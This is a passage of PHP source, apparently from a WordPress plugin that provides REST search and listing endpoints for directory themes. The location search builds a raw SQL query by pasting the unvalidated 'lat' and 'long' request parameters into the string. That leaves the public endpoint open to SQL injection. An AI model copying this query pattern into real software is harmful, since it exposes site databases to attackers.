WP_REST_Response)) { return $response; } $data = (array)$response->get_data(); $server = rest_get_server(); if (method_exists($server, 'get_compact_response_links')) { $links = call_user_func(array( $server, 'get_compact_response_links' ) , $response); } else { $links = call_user_func(array( $server, 'get_response_links' ) , $response); } if (!empty($links)) { $data['_links'] = $links; } return $data; } public function get_job_listing_by_type($request) { $posts = query_posts(array( 'meta_key' => '_case27_listing_type', 'meta_value' => $request['type'], 'post_type' => 'job_listing', 'paged' => $request['page'], 'posts_per_page' => $request['limit'] )); $data = array(); $items = (array)($posts); foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; return new WP_REST_Response($data, 200); } } // end Class // class For get case27_job_listing_tags for get All Tags to show in Filter Search class TemplateExtendMyListing extends WP_REST_Terms_Controller { protected $_template = 'listable'; // get_template protected $_listable = 'listable'; protected $_listify = 'listify'; protected $_myListing = 'my listing'; protected $_customPostType = ['job_listing']; // all custom post type protected $_isListable, $_isListify, $_isMyListing; public function __construct() { global $wp_version; if(floatval($wp_version) < 6.0){ /* extends from parent */ parent::__construct('job_listing'); } $isChild = strstr(strtolower(wp_get_theme()) , "child"); if ($isChild == 'child') { $string = explode(" ", wp_get_theme()); $this->_template = strtolower($string[0] . ' ' . $string[1]); } else { $this->_template = strtolower(wp_get_theme()); } $this->_isListable = $this->_template == $this->_listable ? 1 : 0; $this->_isListify = $this->_template == $this->_listify ? 1 : 0; $this->_isMyListing = $this->_template == $this->_myListing ? 1 : 0; add_action('rest_api_init', array( $this, 'register_add_more_fields_to_rest_api_listing' )); } public function register_add_more_fields_to_rest_api_listing() { // case for myListing with job_listing_type if ($this->_isMyListing) { register_rest_route('listing/v1', 'case27_job_listing_tags', array( 'methods' => 'GET', 'callback' => array( $this, 'get_case27_job_listing_tags' ) , 'permission_callback' => function () { return true; } )); } } public function prepare_item_for_response($item, $request) { $schema = $this->get_item_schema(); $data = array(); if (!empty($schema['properties']['id'])) { $data['id'] = (int)$item->term_id; } if (!empty($schema['properties']['count'])) { $data['count'] = (int)$item->count; } if (!empty($schema['properties']['description'])) { $data['description'] = $item->description; } if (!empty($schema['properties']['link'])) { $data['link'] = get_term_link($item); } if (!empty($schema['properties']['name'])) { $data['name'] = $item->name; } if (!empty($schema['properties']['slug'])) { $data['slug'] = $item->slug; } if (!empty($schema['properties']['taxonomy'])) { $data['taxonomy'] = $item->taxonomy; } if (!empty($schema['properties']['parent'])) { $data['parent'] = (int)$item->parent; } if (!empty($schema['properties']['meta'])) { $data['meta'] = $this ->meta ->get_value($item->term_id, $request); } $context = !empty($request['context']) ? $request['context'] : 'view'; // $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context($data, $context); $response = rest_ensure_response($data); $response->add_links($this->prepare_links($item)); /** * Filters a term item returned from the API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Allows modification of the term data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param object $item The original term object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters("rest_prepare_case27_job_listing_tags", $response, $item, $request); } public function get_case27_job_listing_tags($request) { $posts = get_terms(['case27_job_listing_tags']); $data = array(); $items = (array)($posts); foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $itemdata; endforeach; $result = []; foreach ($data as $item): $result[] = $item->data; endforeach; return new WP_REST_Response($result, 200); } } class TemplateSearch extends FlutterTemplate { public function __construct() { /* extends from parent */ parent::__construct($this->_isListingPro ? 'listing' : 'job_listing'); add_action('rest_api_init', array( $this, 'register_fields_for_search_advance' )); } /* * define for method for search */ public function register_fields_for_search_advance() { /* get search by tags & categories for case myListing */ register_rest_route('search/v1', $this->_isListingPro ? 'listing' : 'job_listing', array( 'methods' => 'GET', 'callback' => array( $this, 'search_by_myParams' ) , 'args' => array( 'tags' => array( 'validate_callback' => function ($param, $request, $key) { return is_string($param); } ) , 'categories' => array( // 'validate_callback' => function($param, $request, $key) { // return is_string( $param ); // } ) , 'type' => array( // 'validate_callback' => function($param, $request, $key) { // return is_string( $param ); // } ) , 'regions' => array( // 'validate_callback' => function($param, $request, $key) { // return is_string( $param ); // } ) , // for listify 'typeListable' => array() , // for listable 'search' => array( // 'validate_callback' => function($param, $request, $key) { // return is_string( $param ); // } ) , 'author' => array( // 'validate_callback' => function($param, $request, $key) { // return is_string( $param ); // } ) , 'isGetLocate' => array( 'validate_callback' => function ($param, $request, $key) { return is_string($param); } ) , 'lat' => array() , 'long' => array() , 'page' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , 'limit' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , ) , 'permission_callback' => function () { return true; } )); if ($this->_isMyListing) { register_rest_route('searchExtends/v1', '/job_listing', array( 'methods' => 'GET', 'callback' => array( $this, 'searchQuery' ) , 'args' => array( 'search' => array( 'validate_callback' => function ($param, $request, $key) { return is_string($param); } ) , 'page' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , 'limit' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , ) , 'permission_callback' => function () { return true; } )); } } public function search_by_myParams($request) { $args = ['post_type' => $this->_customPostType, 'paged' => $request['page'] ? $request['page'] : 1, 'post_status' => 'publish', 'posts_per_page' => $request['limit'] ? $request['limit'] : 10, ]; if ($request['tags']) { $args['tax_query'][] = array( 'taxonomy' => 'case27_job_listing_tags', 'field' => 'term_id', 'terms' => explode(',', $request['tags']) ); } if ($request['categories']) { $args['tax_query'][] = array( 'taxonomy' => 'job_listing_category', 'field' => 'term_id', 'terms' => explode(',', $request['categories']) , ); } if ($request['type']) { $args['meta_query'] = [['key' => '_case27_listing_type', 'value' => $request['type'], 'compare' => 'LIKE', ]]; } //case for listify if ($request['regions']) { $args['tax_query'][] = array( 'taxonomy' => 'job_listing_region', 'field' => 'term_id', 'terms' => explode(',', $request['regions']) , ); } //case for listable if ($request['typeListable']) { $args['tax_query'] = array( array( 'taxonomy' => 'job_listing_type', 'field' => 'term_id', 'terms' => explode(',', $request['typeListable']) , ) , ); } if ($request['search']) { $args['s'] = $request['search']; } if ($request['author']) { $args['author'] = $request['author']; } global $wpdb; $posts = query_posts($args); if ($request['isGetLocate']) { $lat = $request['lat']; $long = $request['long']; $sql = "SELECT p.*, "; $sql .= " (6371 * acos (cos (radians($lat)) * cos(radians(t.lat)) * cos(radians(t.lng) - radians($long)) + "; $sql .= "sin (radians($lat)) * sin(radians(t.lat)))) AS distance FROM (SELECT b.post_id, a.post_status, sum(if("; $sql .= "meta_key = 'geolocation_lat', meta_value, 0)) AS lat, sum(if(meta_key = 'geolocation_long', "; $sql .= "meta_value, 0)) AS lng FROM {$wpdb->prefix}posts a, {$wpdb->prefix}postmeta b WHERE a.id = b.post_id AND ("; $sql .= "b.meta_key='geolocation_lat' OR b.meta_key='geolocation_long') AND a.post_status='publish' GROUP BY b.post_id) AS t INNER "; $sql .= "JOIN {$wpdb->prefix}posts as p on (p.ID=t.post_id) ORDER BY distance LIMIT 30"; $vars = array( $lat, $long, $lat ); $posts = $wpdb->get_results($sql, OBJECT); if ($wpdb->last_error) { return 'Error: ' . $wpdb->last_error; } // return $posts; } $data = array(); $items = (array)($posts); // return $items; if (count($items) > 0) { foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; } return new WP_REST_Response($data, 200); } public function searchQuery($request) { $args = ['post_type' => 'job_listing', 'paged' => $request['page'] ? $request['page'] : 1, 'post_status' => 'publish', 'posts_per_page' => $request['limit'] ? $request['limit'] : 10, ]; if ($request['search']) { $args['s'] = $request['search']; } $categories = get_terms(['taxonomy' => 'job_listing_category', 'search' => isset($request['search']) ? $request['search'] : '', ]); $args['meta_query'] = [['key' => '_case27_listing_type', 'value' => '', 'compare' => '!=', ]]; global $wpdb; $listings = query_posts($args); $data = array(); $items = (array)($listings); // return $items; foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; $listings_grouped = []; foreach ($data as $listing) { // return $listing['job_listing_category'][0]; foreach ($listing['job_listing_category'] as $value) { $type = get_term_by('id', $value, 'job_listing_category')->name; if (!isset($listings_grouped[$type])) $listings_grouped[$type] = []; $listings_grouped[$type][] = $listing; } } return new WP_REST_Response($listings_grouped, 200); } } new FlutterTemplate; new TemplateExtendMyListing; new TemplateSearch;